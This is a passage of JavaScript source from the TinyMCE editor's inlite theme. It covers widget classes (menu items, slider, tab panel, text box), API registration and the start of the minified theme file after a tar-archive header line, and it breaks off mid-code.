        url = boldMatches(self.encode(markMatches(url)));
        return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1">' + iconHtml + (text !== '-' ? '<span id="' + id + '-text" class="' + prefix + 'text">' + text + '</span>' : '') + (shortcut ? '<div id="' + id + '-shortcut" class="' + prefix + 'menu-shortcut">' + shortcut + '</div>' : '') + (settings.menu ? '<div class="' + prefix + 'caret"></div>' : '') + (url ? '<div class="' + prefix + 'menu-item-link">' + url + '</div>' : '') + '</div>';
      },
      postRender: function () {
        var self = this, settings = self.settings;
        var textStyle = settings.textStyle;
        if (typeof textStyle === 'function') {
          textStyle = textStyle.call(this);
        }
        if (textStyle) {
          var textElm = self.getEl('text');
          if (textElm) {
            textElm.setAttribute('style', textStyle);
            self._textStyle = textStyle;
          }
        }
        self.on('mouseenter click', function (e) {
          if (e.control === self) {
            if (!settings.menu && e.type === 'click') {
              self.fire('select');
              global$3.requestAnimationFrame(function () {
                self.parent().hideAll();
              });
            } else {
              self.showMenu();
              if (e.aria) {
                self.menu.focus(true);
              }
            }
          }
        });
        self._super();
        return self;
      },
      hover: function () {
        var self = this;
        self.parent().items().each(function (ctrl) {
          ctrl.classes.remove('selected');
        });
        self.classes.toggle('selected', true);
        return self;
      },
      active: function (state) {
        toggleTextStyle(this, state);
        if (typeof state !== 'undefined') {
          this.aria('checked', state);
        }
        return this._super(state);
      },
      remove: function () {
        this._super();
        if (this.menu) {
          this.menu.remove();
        }
      }
    });

    var Radio = Checkbox.extend({
      Defaults: {
        classes: 'radio',
        role: 'radio'
      }
    });

    var ResizeHandle = Widget.extend({
      renderHtml: function () {
        var self = this, prefix = self.classPrefix;
        self.classes.add('resizehandle');
        if (self.settings.direction === 'both') {
          self.classes.add('resizehandle-both');
        }
        self.canFocus = false;
        return '<div id="' + self._id + '" class="' + self.classes + '">' + '<i class="' + prefix + 'ico ' + prefix + 'i-resize"></i>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self._super();
        self.resizeDragHelper = new DragHelper(this._id, {
          start: function () {
            self.fire('ResizeStart');
          },
          drag: function (e) {
            if (self.settings.direction !== 'both') {
              e.deltaX = 0;
            }
            self.fire('Resize', e);
          },
          stop: function () {
            self.fire('ResizeEnd');
          }
        });
      },
      remove: function () {
        if (this.resizeDragHelper) {
          this.resizeDragHelper.destroy();
        }
        return this._super();
      }
    });

    function createOptions(options) {
      var strOptions = '';
      if (options) {
        for (var i = 0; i < options.length; i++) {
          strOptions += '<option value="' + options[i] + '">' + options[i] + '</option>';
        }
      }
      return strOptions;
    }
    var SelectBox = Widget.extend({
      Defaults: {
        classes: 'selectbox',
        role: 'selectbox',
        options: []
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        if (self.settings.size) {
          self.size = self.settings.size;
        }
        if (self.settings.options) {
          self._options = self.settings.options;
        }
        self.on('keydown', function (e) {
          var rootControl;
          if (e.keyCode === 13) {
            e.preventDefault();
            self.parents().reverse().each(function (ctrl) {
              if (ctrl.toJSON) {
                rootControl = ctrl;
                return false;
              }
            });
            self.fire('submit', { data: rootControl.toJSON() });
          }
        });
      },
      options: function (state) {
        if (!arguments.length) {
          return this.state.get('options');
        }
        this.state.set('options', state);
        return this;
      },
      renderHtml: function () {
        var self = this;
        var options, size = '';
        options = createOptions(self._options);
        if (self.size) {
          size = ' size = "' + self.size + '"';
        }
        return '<select id="' + self._id + '" class="' + self.classes + '"' + size + '>' + options + '</select>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:options', function (e) {
          self.getEl().innerHTML = createOptions(e.value);
        });
        return self._super();
      }
    });

    function constrain(value, minVal, maxVal) {
      if (value < minVal) {
        value = minVal;
      }
      if (value > maxVal) {
        value = maxVal;
      }
      return value;
    }
    function setAriaProp(el, name, value) {
      el.setAttribute('aria-' + name, value);
    }
    function updateSliderHandle(ctrl, value) {
      var maxHandlePos, shortSizeName, sizeName, stylePosName, styleValue, handleEl;
      if (ctrl.settings.orientation === 'v') {
        stylePosName = 'top';
        sizeName = 'height';
        shortSizeName = 'h';
      } else {
        stylePosName = 'left';
        sizeName = 'width';
        shortSizeName = 'w';
      }
      handleEl = ctrl.getEl('handle');
      maxHandlePos = (ctrl.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
      styleValue = maxHandlePos * ((value - ctrl._minValue) / (ctrl._maxValue - ctrl._minValue)) + 'px';
      handleEl.style[stylePosName] = styleValue;
      handleEl.style.height = ctrl.layoutRect().h + 'px';
      setAriaProp(handleEl, 'valuenow', value);
      setAriaProp(handleEl, 'valuetext', '' + ctrl.settings.previewFilter(value));
      setAriaProp(handleEl, 'valuemin', ctrl._minValue);
      setAriaProp(handleEl, 'valuemax', ctrl._maxValue);
    }
    var Slider = Widget.extend({
      init: function (settings) {
        var self = this;
        if (!settings.previewFilter) {
          settings.previewFilter = function (value) {
            return Math.round(value * 100) / 100;
          };
        }
        self._super(settings);
        self.classes.add('slider');
        if (settings.orientation === 'v') {
          self.classes.add('vertical');
        }
        self._minValue = isNumber$1(settings.minValue) ? settings.minValue : 0;
        self._maxValue = isNumber$1(settings.maxValue) ? settings.maxValue : 100;
        self._initValue = self.state.get('value');
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-handle" class="' + prefix + 'slider-handle" role="slider" tabindex="-1"></div>' + '</div>';
      },
      reset: function () {
        this.value(this._initValue).repaint();
      },
      postRender: function () {
        var self = this;
        var minValue, maxValue, screenCordName, stylePosName, sizeName, shortSizeName;
        function toFraction(min, max, val) {
          return (val + min) / (max - min);
        }
        function fromFraction(min, max, val) {
          return val * (max - min) - min;
        }
        function handleKeyboard(minValue, maxValue) {
          function alter(delta) {
            var value;
            value = self.value();
            value = fromFraction(minValue, maxValue, toFraction(minValue, maxValue, value) + delta * 0.05);
            value = constrain(value, minValue, maxValue);
            self.value(value);
            self.fire('dragstart', { value: value });
            self.fire('drag', { value: value });
            self.fire('dragend', { value: value });
          }
          self.on('keydown', function (e) {
            switch (e.keyCode) {
            case 37:
            case 38:
              alter(-1);
              break;
            case 39:
            case 40:
              alter(1);
              break;
            }
          });
        }
        function handleDrag(minValue, maxValue, handleEl) {
          var startPos, startHandlePos, maxHandlePos, handlePos, value;
          self._dragHelper = new DragHelper(self._id, {
            handle: self._id + '-handle',
            start: function (e) {
              startPos = e[screenCordName];
              startHandlePos = parseInt(self.getEl('handle').style[stylePosName], 10);
              maxHandlePos = (self.layoutRect()[shortSizeName] || 100) - funcs.getSize(handleEl)[sizeName];
              self.fire('dragstart', { value: value });
            },
            drag: function (e) {
              var delta = e[screenCordName] - startPos;
              handlePos = constrain(startHandlePos + delta, 0, maxHandlePos);
              handleEl.style[stylePosName] = handlePos + 'px';
              value = minValue + handlePos / maxHandlePos * (maxValue - minValue);
              self.value(value);
              self.tooltip().text('' + self.settings.previewFilter(value)).show().moveRel(handleEl, 'bc tc');
              self.fire('drag', { value: value });
            },
            stop: function () {
              self.tooltip().hide();
              self.fire('dragend', { value: value });
            }
          });
        }
        minValue = self._minValue;
        maxValue = self._maxValue;
        if (self.settings.orientation === 'v') {
          screenCordName = 'screenY';
          stylePosName = 'top';
          sizeName = 'height';
          shortSizeName = 'h';
        } else {
          screenCordName = 'screenX';
          stylePosName = 'left';
          sizeName = 'width';
          shortSizeName = 'w';
        }
        self._super();
        handleKeyboard(minValue, maxValue);
        handleDrag(minValue, maxValue, self.getEl('handle'));
      },
      repaint: function () {
        this._super();
        updateSliderHandle(this, this.value());
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          updateSliderHandle(self, e.value);
        });
        return self._super();
      }
    });

    var Spacer = Widget.extend({
      renderHtml: function () {
        var self = this;
        self.classes.add('spacer');
        self.canFocus = false;
        return '<div id="' + self._id + '" class="' + self.classes + '"></div>';
      }
    });

    var SplitButton = MenuButton.extend({
      Defaults: {
        classes: 'widget btn splitbtn',
        role: 'button'
      },
      repaint: function () {
        var self = this;
        var elm = self.getEl();
        var rect = self.layoutRect();
        var mainButtonElm, menuButtonElm;
        self._super();
        mainButtonElm = elm.firstChild;
        menuButtonElm = elm.lastChild;
        global$7(mainButtonElm).css({
          width: rect.w - funcs.getSize(menuButtonElm).width,
          height: rect.h - 2
        });
        global$7(menuButtonElm).css({ height: rect.h - 2 });
        return self;
      },
      activeMenu: function (state) {
        var self = this;
        global$7(self.getEl().lastChild).toggleClass(self.classPrefix + 'active', state);
      },
      renderHtml: function () {
        var self = this;
        var id = self._id;
        var prefix = self.classPrefix;
        var image;
        var icon = self.state.get('icon');
        var text = self.state.get('text');
        var settings = self.settings;
        var textHtml = '', ariaPressed;
        image = settings.image;
        if (image) {
          icon = 'none';
          if (typeof image !== 'string') {
            image = domGlobals.window.getSelection ? image[0] : image[1];
          }
          image = ' style="background-image: url(\'' + image + '\')"';
        } else {
          image = '';
        }
        icon = settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
        return '<div id="' + id + '" class="' + self.classes + '" role="button"' + ariaPressed + ' tabindex="-1">' + '<button type="button" hidefocus="1" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + (self._menuBtnText ? (icon ? '\xA0' : '') + self._menuBtnText : '') + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
      },
      postRender: function () {
        var self = this, onClickHandler = self.settings.onclick;
        self.on('click', function (e) {
          var node = e.target;
          if (e.control === this) {
            while (node) {
              if (e.aria && e.aria.key !== 'down' || node.nodeName === 'BUTTON' && node.className.indexOf('open') === -1) {
                e.stopImmediatePropagation();
                if (onClickHandler) {
                  onClickHandler.call(this, e);
                }
                return;
              }
              node = node.parentNode;
            }
          }
        });
        delete self.settings.onclick;
        return self._super();
      }
    });

    var StackLayout = FlowLayout.extend({
      Defaults: {
        containerClass: 'stack-layout',
        controlClass: 'stack-layout-item',
        endClass: 'break'
      },
      isNative: function () {
        return true;
      }
    });

    var TabPanel = Panel.extend({
      Defaults: {
        layout: 'absolute',
        defaults: { type: 'panel' }
      },
      activateTab: function (idx) {
        var activeTabElm;
        if (this.activeTabId) {
          activeTabElm = this.getEl(this.activeTabId);
          global$7(activeTabElm).removeClass(this.classPrefix + 'active');
          activeTabElm.setAttribute('aria-selected', 'false');
        }
        this.activeTabId = 't' + idx;
        activeTabElm = this.getEl('t' + idx);
        activeTabElm.setAttribute('aria-selected', 'true');
        global$7(activeTabElm).addClass(this.classPrefix + 'active');
        this.items()[idx].show().fire('showtab');
        this.reflow();
        this.items().each(function (item, i) {
          if (idx !== i) {
            item.hide();
          }
        });
      },
      renderHtml: function () {
        var self = this;
        var layout = self._layout;
        var tabsHtml = '';
        var prefix = self.classPrefix;
        self.preRender();
        layout.preRender(self);
        self.items().each(function (ctrl, i) {
          var id = self._id + '-t' + i;
          ctrl.aria('role', 'tabpanel');
          ctrl.aria('labelledby', id);
          tabsHtml += '<div id="' + id + '" class="' + prefix + 'tab" ' + 'unselectable="on" role="tab" aria-controls="' + ctrl._id + '" aria-selected="false" tabIndex="-1">' + self.encode(ctrl.settings.title) + '</div>';
        });
        return '<div id="' + self._id + '" class="' + self.classes + '" hidefocus="1" tabindex="-1">' + '<div id="' + self._id + '-head" class="' + prefix + 'tabs" role="tablist">' + tabsHtml + '</div>' + '<div id="' + self._id + '-body" class="' + self.bodyClasses + '">' + layout.renderHtml(self) + '</div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self._super();
        self.settings.activeTab = self.settings.activeTab || 0;
        self.activateTab(self.settings.activeTab);
        this.on('click', function (e) {
          var targetParent = e.target.parentNode;
          if (targetParent && targetParent.id === self._id + '-head') {
            var i = targetParent.childNodes.length;
            while (i--) {
              if (targetParent.childNodes[i] === e.target) {
                self.activateTab(i);
              }
            }
          }
        });
      },
      initLayoutRect: function () {
        var self = this;
        var rect, minW, minH;
        minW = funcs.getSize(self.getEl('head')).width;
        minW = minW < 0 ? 0 : minW;
        minH = 0;
        self.items().each(function (item) {
          minW = Math.max(minW, item.layoutRect().minW);
          minH = Math.max(minH, item.layoutRect().minH);
        });
        self.items().each(function (ctrl) {
          ctrl.settings.x = 0;
          ctrl.settings.y = 0;
          ctrl.settings.w = minW;
          ctrl.settings.h = minH;
          ctrl.layoutRect({
            x: 0,
            y: 0,
            w: minW,
            h: minH
          });
        });
        var headH = funcs.getSize(self.getEl('head')).height;
        self.settings.minWidth = minW;
        self.settings.minHeight = minH + headH;
        rect = self._super();
        rect.deltaH += headH;
        rect.innerH = rect.h - rect.deltaH;
        return rect;
      }
    });

    var TextBox = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('textbox');
        if (settings.multiline) {
          self.classes.add('multiline');
        } else {
          self.on('keydown', function (e) {
            var rootControl;
            if (e.keyCode === 13) {
              e.preventDefault();
              self.parents().reverse().each(function (ctrl) {
                if (ctrl.toJSON) {
                  rootControl = ctrl;
                  return false;
                }
              });
              self.fire('submit', { data: rootControl.toJSON() });
            }
          });
          self.on('keyup', function (e) {
            self.state.set('value', e.target.value);
          });
        }
      },
      repaint: function () {
        var self = this;
        var style, rect, borderBox, borderW, borderH = 0, lastRepaintRect;
        style = self.getEl().style;
        rect = self._layoutRect;
        lastRepaintRect = self._lastRepaintRect || {};
        var doc = domGlobals.document;
        if (!self.settings.multiline && doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
          style.lineHeight = rect.h - borderH + 'px';
        }
        borderBox = self.borderBox;
        borderW = borderBox.left + borderBox.right + 8;
        borderH = borderBox.top + borderBox.bottom + (self.settings.multiline ? 8 : 0);
        if (rect.x !== lastRepaintRect.x) {
          style.left = rect.x + 'px';
          lastRepaintRect.x = rect.x;
        }
        if (rect.y !== lastRepaintRect.y) {
          style.top = rect.y + 'px';
          lastRepaintRect.y = rect.y;
        }
        if (rect.w !== lastRepaintRect.w) {
          style.width = rect.w - borderW + 'px';
          lastRepaintRect.w = rect.w;
        }
        if (rect.h !== lastRepaintRect.h) {
          style.height = rect.h - borderH + 'px';
          lastRepaintRect.h = rect.h;
        }
        self._lastRepaintRect = lastRepaintRect;
        self.fire('repaint', {}, false);
        return self;
      },
      renderHtml: function () {
        var self = this;
        var settings = self.settings;
        var attrs, elm;
        attrs = {
          id: self._id,
          hidefocus: '1'
        };
        global$4.each([
          'rows',
          'spellcheck',
          'maxLength',
          'size',
          'readonly',
          'min',
          'max',
          'step',
          'list',
          'pattern',
          'placeholder',
          'required',
          'multiple'
        ], function (name) {
          attrs[name] = settings[name];
        });
        if (self.disabled()) {
          attrs.disabled = 'disabled';
        }
        if (settings.subtype) {
          attrs.type = settings.subtype;
        }
        elm = funcs.create(settings.multiline ? 'textarea' : 'input', attrs);
        elm.value = self.state.get('value');
        elm.className = self.classes.toString();
        return elm.outerHTML;
      },
      value: function (value) {
        if (arguments.length) {
          this.state.set('value', value);
          return this;
        }
        if (this.state.get('rendered')) {
          this.state.set('value', this.getEl().value);
        }
        return this.state.get('value');
      },
      postRender: function () {
        var self = this;
        self.getEl().value = self.state.get('value');
        self._super();
        self.$el.on('change', function (e) {
          self.state.set('value', e.target.value);
          self.fire('change', e);
        });
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:value', function (e) {
          if (self.getEl().value !== e.value) {
            self.getEl().value = e.value;
          }
        });
        self.state.on('change:disabled', function (e) {
          self.getEl().disabled = e.value;
        });
        return self._super();
      },
      remove: function () {
        this.$el.off();
        this._super();
      }
    });

    var getApi = function () {
      return {
        Selector: Selector,
        Collection: Collection$2,
        ReflowQueue: ReflowQueue,
        Control: Control$1,
        Factory: global$b,
        KeyboardNavigation: KeyboardNavigation,
        Container: Container,
        DragHelper: DragHelper,
        Scrollable: Scrollable,
        Panel: Panel,
        Movable: Movable,
        Resizable: Resizable,
        FloatPanel: FloatPanel,
        Window: Window,
        MessageBox: MessageBox,
        Tooltip: Tooltip,
        Widget: Widget,
        Progress: Progress,
        Notification: Notification,
        Layout: Layout$1,
        AbsoluteLayout: AbsoluteLayout,
        Button: Button,
        ButtonGroup: ButtonGroup,
        Checkbox: Checkbox,
        ComboBox: ComboBox,
        ColorBox: ColorBox,
        PanelButton: PanelButton,
        ColorButton: ColorButton,
        ColorPicker: ColorPicker,
        Path: Path,
        ElementPath: ElementPath,
        FormItem: FormItem,
        Form: Form,
        FieldSet: FieldSet,
        FilePicker: FilePicker,
        FitLayout: FitLayout,
        FlexLayout: FlexLayout,
        FlowLayout: FlowLayout,
        FormatControls: FormatControls,
        GridLayout: GridLayout,
        Iframe: Iframe,
        InfoBox: InfoBox,
        Label: Label,
        Toolbar: Toolbar$1,
        MenuBar: MenuBar,
        MenuButton: MenuButton,
        MenuItem: MenuItem,
        Throbber: Throbber,
        Menu: Menu,
        ListBox: ListBox,
        Radio: Radio,
        ResizeHandle: ResizeHandle,
        SelectBox: SelectBox,
        Slider: Slider,
        Spacer: Spacer,
        SplitButton: SplitButton,
        StackLayout: StackLayout,
        TabPanel: TabPanel,
        TextBox: TextBox,
        DropZone: DropZone,
        BrowseButton: BrowseButton
      };
    };
    var appendTo = function (target) {
      if (target.ui) {
        global$4.each(getApi(), function (ref, key) {
          target.ui[key] = ref;
        });
      } else {
        target.ui = getApi();
      }
    };
    var registerToFactory = function () {
      global$4.each(getApi(), function (ref, key) {
        global$b.add(key, ref);
      });
    };
    var Api = {
      appendTo: appendTo,
      registerToFactory: registerToFactory
    };

    Api.registerToFactory();
    Api.appendTo(window.tinymce ? window.tinymce : {});
    global.add('inlite', function (editor) {
      var panel = create$3();
      FormatControls.setup(editor);
      Buttons.addToEditor(editor, panel);
      return ThemeApi.get(editor, panel);
    });
    function Theme () {
    }

    return Theme;

}(window));
})();
inlite/theme.min.js000064400000401443152223175240010263 0ustar00!function(_){"use strict";var u,t,e,n,i,r=tinymce.util.Tools.resolve("tinymce.ThemeManager"),h=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),c=tinymce.util.Tools.resolve("tinymce.util.Delay"),o=function(t){return t.reduce(function(t,e){return Array.isArray(e)?t.concat(o(e)):t.concat(e)},[])},s={flatten:o},a=function(t,e){for(var n=0;n<e.length;n++){var i=(0,e[n])(t);if(i)return i}return null},l=function(t,e){return{id:t,rect:e}},d=function(t){return{x:t.left,y:t.top,w:t.width,h:t.height}},f=function(t){return{left:t.x,top:t.y,width:t.w,height:t.h,right:t.x+t.w,bottom:t.y+t.h}},m=function(t){var e=v.DOM.getViewPort();return{x:t.x+e.x,y:t.y+e.y,w:t.w,h:t.h}},g=function(t){var e=t.getBoundingClientRect();return m({x:e.left,y:e.top,w:Math.max(t.clientWidth,t.offsetWidth),h:Math.max(t.clientHeight,t.offsetHeight)})},p=function(t,e){return g(e)},b=function(t){return g(t.getContentAreaContainer()||t.getBody())},y=function(t){var e=t.selection.getBoundingClientRect();return e?m(d(e)):null},x=function(n,i){return function(t){for(var e=0;e<i.length;e++)if(i[e].predicate(n))return l(i[e].id,p(t,n));return null}},w=function(i,r){return function(t){for(var e=0;e<i.length;e++)for(var n=0;n<r.length;n++)if(r[n].predicate(i[e]))return l(r[n].id,p(t,i[e]));return null}},R=tinymce.util.Tools.resolve("tinymce.util.Tools"),C=function(t,e){return{id:t,predicate:e}},k=function(t){return R.map(t,function(t){return C(t.id,t.predicate)})},E=function(e){return function(t){return t.selection.isCollapsed()?null:l(e,y(t))}},H=function(i,r){return function(t){var e,n=t.schema.getTextBlockElements();for(e=0;e<i.length;e++)if("TABLE"===i[e].nodeName)return null;for(e=0;e<i.length;e++)if(i[e].nodeName in n)return t.dom.isEmpty(i[e])?l(r,y(t)):null;return null}},T=function(t){t.fire("SkinLoaded")},S=function(t){return t.fire("BeforeRenderUI")},M=tinymce.util.Tools.resolve("tinymce.EditorManager"),N=function(e){return function(t){return typeof t===e}},O=function(t){return Array.isArray(t)},W=function(t){return N("string")(t)},P=function(t){return N("number")(t)},D=function(t){return N("boolean")(t)},A=function(t){return N("function")(t)},B=(N("object"),O),L=function(t,e){if(e(t))return!0;throw new Error("Default value doesn't match requested type.")},I=function(r){return function(t,e,n){var i=t.settings;return L(n,r),e in i&&r(i[e])?i[e]:n}},z={getStringOr:I(W),getBoolOr:I(D),getNumberOr:I(P),getHandlerOr:I(A),getToolbarItemsOr:(u=B,function(t,e,n){var i,r,o,s,a,l=e in t.settings?t.settings[e]:n;return L(n,u),r=n,B(i=l)?i:W(i)?"string"==typeof(s=i)?(a=/[ ,]/,s.split(a).filter(function(t){return 0<t.length})):s:D(i)?(o=r,!1===i?[]:o):r})},F=tinymce.util.Tools.resolve("tinymce.geom.Rect"),U=function(t,e){return{rect:t,position:e}},V=function(t,e){return{x:e.x,y:e.y,w:t.w,h:t.h}},q=function(t,e,n,i,r){var o,s,a,l={x:i.x,y:i.y,w:i.w+(i.w<r.w+n.w?r.w:0),h:i.h+(i.h<r.h+n.h?r.h:0)};return o=F.findBestRelativePosition(r,n,l,t),n=F.clamp(n,l),o?(s=F.relativePosition(r,n,o),a=V(r,s),U(a,o)):(n=F.intersect(l,n))?((o=F.findBestRelativePosition(r,n,l,e))?(s=F.relativePosition(r,n,o),a=V(r,s)):a=V(r,n),U(a,o)):null},Y=function(t,e,n){return q(["cr-cl","cl-cr"],["bc-tc","bl-tl","br-tr"],t,e,n)},$=function(t,e,n){return q(["tc-bc","bc-tc","tl-bl","bl-tl","tr-br","br-tr","cr-cl","cl-cr"],["bc-tc","bl-tl","br-tr","cr-cl"],t,e,n)},X=function(t,e,n,i){var r;return"function"==typeof t?(r=t({elementRect:f(e),contentAreaRect:f(n),panelRect:f(i)}),d(r)):i},j=function(t){return t.panelRect},J=function(t){return z.getToolbarItemsOr(t,"selection_toolbar",["bold","italic","|","quicklink","h2","h3","blockquote"])},G=function(t){return z.getToolbarItemsOr(t,"insert_toolbar",["quickimage","quicktable"])},K=function(t){return z.getHandlerOr(t,"inline_toolbar_position_handler",j)},Z=function(t){var e,n,i,r,o=t.settings;return o.skin_url?(i=t,r=o.skin_url,i.documentBaseURI.toAbsolute(r)):(e=o.skin,n=M.baseURL+"/skins/",e?n+e:n+"lightgray")},Q=function(t){return!1===t.settings.skin},tt=function(i,r){var t=Z(i),e=function(){var t,e,n;e=r,n=function(){t._skinLoaded=!0,T(t),e()},(t=i).initialized?n():t.on("init",n)};Q(i)?e():(v.DOM.styleSheetLoader.load(t+"/skin.min.css",e),i.contentCSS.push(t+"/content.inline.min.css"))},et=function(t){var e,n,i,r,o=t.contextToolbars;return s.flatten([o||[],(e=t,n="img",i="image",r="alignleft aligncenter alignright",{predicate:function(t){return e.dom.is(t,n)},id:i,items:r})])},nt=function(t,e){var n,i,r,o,s;return s=(o=t).selection.getNode(),i=o.dom.getParents(s,"*"),r=k(e),(n=a(t,[x(i[0],r),E("text"),H(i,"insert"),w(i,r)]))&&n.rect?n:null},it=function(i,r){return function(){var t,e,n;i.removed||(n=i,_.document.activeElement!==n.getBody())||(t=et(i),(e=nt(i,t))?r.show(i,e.id,e.rect,t):r.hide())}},rt=function(t,e){var n,i,r,o,s,a=c.throttle(it(t,e),0),l=c.throttle((r=it(n=t,i=e),function(){n.removed||i.inForm()||r()}),0),u=(o=t,s=e,function(){var t=et(o),e=nt(o,t);e&&s.reposition(o,e.id,e.rect)});t.on("blur hide ObjectResizeStart",e.hide),t.on("click",a),t.on("nodeChange mouseup",l),t.on("ResizeEditor keyup",a),t.on("ResizeWindow",u),v.DOM.bind(h.container,"scroll",u),t.on("remove",function(){v.DOM.unbind(h.container,"scroll",u),e.remove()}),t.shortcuts.add("Alt+F10,F10","",e.focus)},ot=function(t,e){return tt(t,function(){var n,i;rt(t,e),i=e,(n=t).shortcuts.remove("meta+k"),n.shortcuts.add("meta+k","",function(){var t=et(n),e=a(n,[E("quicklink")]);e&&i.show(n,e.id,e.rect,t)})}),{}},st=function(t,e){return t.inline?ot(t,e):function(t){throw new Error(t)}("inlite theme only supports inline mode.")},at=function(){},lt=function(t){return function(){return t}},ut=lt(!1),ct=lt(!0),dt=function(){return ft},ft=(t=function(t){return t.isNone()},i={fold:function(t,e){return t()},is:ut,isSome:ut,isNone:ct,getOr:n=function(t){return t},getOrThunk:e=function(t){return t()},getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:lt(null),getOrUndefined:lt(undefined),or:n,orThunk:e,map:dt,each:at,bind:dt,exists:ut,forall:ct,filter:dt,equals:t,equals_:t,toArray:function(){return[]},toString:lt("none()")},Object.freeze&&Object.freeze(i),i),ht=function(n){var t=lt(n),e=function(){return r},i=function(t){return t(n)},r={fold:function(t,e){return e(n)},is:function(t){return n===t},isSome:ct,isNone:ut,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(t){return ht(t(n))},each:function(t){t(n)},bind:i,exists:i,forall:i,filter:function(t){return t(n)?r:ft},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(t){return t.is(n)},equals_:function(t,e){return t.fold(ut,function(t){return e(n,t)})}};return r},mt={some:ht,none:dt,from:function(t){return null===t||t===undefined?ft:ht(t)}},gt=function(e){return function(t){return function(t){if(null===t)return"null";var e=typeof t;return"object"===e&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"===e&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":e}(t)===e}},pt=gt("array"),vt=gt("function"),bt=gt("number"),yt=(Array.prototype.slice,Array.prototype.indexOf),xt=Array.prototype.push,wt=function(t,e){var n,i,r=(n=t,i=e,yt.call(n,i));return-1===r?mt.none():mt.some(r)},_t=function(t,e){for(var n=0,i=t.length;n<i;n++)if(e(t[n],n))return!0;return!1},Rt=function(t,e){for(var n=t.length,i=new Array(n),r=0;r<n;r++){var o=t[r];i[r]=e(o,r)}return i},Ct=function(t,e){for(var n=0,i=t.length;n<i;n++)e(t[n],n)},kt=function(t,e){for(var n=[],i=0,r=t.length;i<r;i++){var o=t[i];e(o,i)&&n.push(o)}return n},Et=(vt(Array.from)&&Array.from,0),Ht={id:function(){return"mceu_"+Et++},create:function(t,e,n){var i=_.document.createElement(t);return v.DOM.setAttribs(i,e),"string"==typeof n?i.innerHTML=n:R.each(n,function(t){t.nodeType&&i.appendChild(t)}),i},createFragment:function(t){return v.DOM.createFragment(t)},getWindowSize:function(){return v.DOM.getViewPort()},getSize:function(t){var e,n;if(t.getBoundingClientRect){var i=t.getBoundingClientRect();e=Math.max(i.width||i.right-i.left,t.offsetWidth),n=Math.max(i.height||i.bottom-i.bottom,t.offsetHeight)}else e=t.offsetWidth,n=t.offsetHeight;return{width:e,height:n}},getPos:function(t,e){return v.DOM.getPos(t,e||Ht.getContainer())},getContainer:function(){return h.container?h.container:_.document.body},getViewPort:function(t){return v.DOM.getViewPort(t)},get:function(t){return _.document.getElementById(t)},addClass:function(t,e){return v.DOM.addClass(t,e)},removeClass:function(t,e){return v.DOM.removeClass(t,e)},hasClass:function(t,e){return v.DOM.hasClass(t,e)},toggleClass:function(t,e,n){return v.DOM.toggleClass(t,e,n)},css:function(t,e,n){return v.DOM.setStyle(t,e,n)},getRuntimeStyle:function(t,e){return v.DOM.getStyle(t,e,!0)},on:function(t,e,n,i){return v.DOM.bind(t,e,n,i)},off:function(t,e,n){return v.DOM.unbind(t,e,n)},fire:function(t,e,n){return v.DOM.fire(t,e,n)},innerHtml:function(t,e){v.DOM.setHTML(t,e)}},Tt=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),St=tinymce.util.Tools.resolve("tinymce.util.Class"),Mt=tinymce.util.Tools.resolve("tinymce.util.EventDispatcher"),Nt=function(t){var e;if(t)return"number"==typeof t?{top:t=t||0,left:t,bottom:t,right:t}:(1===(e=(t=t.split(" ")).length)?t[1]=t[2]=t[3]=t[0]:2===e?(t[2]=t[0],t[3]=t[1]):3===e&&(t[3]=t[1]),{top:parseInt(t[0],10)||0,right:parseInt(t[1],10)||0,bottom:parseInt(t[2],10)||0,left:parseInt(t[3],10)||0})},Ot=function(i,t){function e(t){var e=parseFloat(function(t){var e=i.ownerDocument.defaultView;if(e){var n=e.getComputedStyle(i,null);return n?(t=t.replace(/[A-Z]/g,function(t){return"-"+t}),n.getPropertyValue(t)):null}return i.currentStyle[t]}(t));return isNaN(e)?0:e}return{top:e(t+"TopWidth"),right:e(t+"RightWidth"),bottom:e(t+"BottomWidth"),left:e(t+"LeftWidth")}};function Wt(){}function Pt(t){this.cls=[],this.cls._map={},this.onchange=t||Wt,this.prefix=""}R.extend(Pt.prototype,{add:function(t){return t&&!this.contains(t)&&(this.cls._map[t]=!0,this.cls.push(t),this._change()),this},remove:function(t){if(this.contains(t)){var e=void 0;for(e=0;e<this.cls.length&&this.cls[e]!==t;e++);this.cls.splice(e,1),delete this.cls._map[t],this._change()}return this},toggle:function(t,e){var n=this.contains(t);return n!==e&&(n?this.remove(t):this.add(t),this._change()),this},contains:function(t){return!!this.cls._map[t]},_change:function(){delete this.clsValue,this.onchange.call(this)}}),Pt.prototype.toString=function(){var t;if(this.clsValue)return this.clsValue;t="";for(var e=0;e<this.cls.length;e++)0<e&&(t+=" "),t+=this.prefix+this.cls[e];return t};var 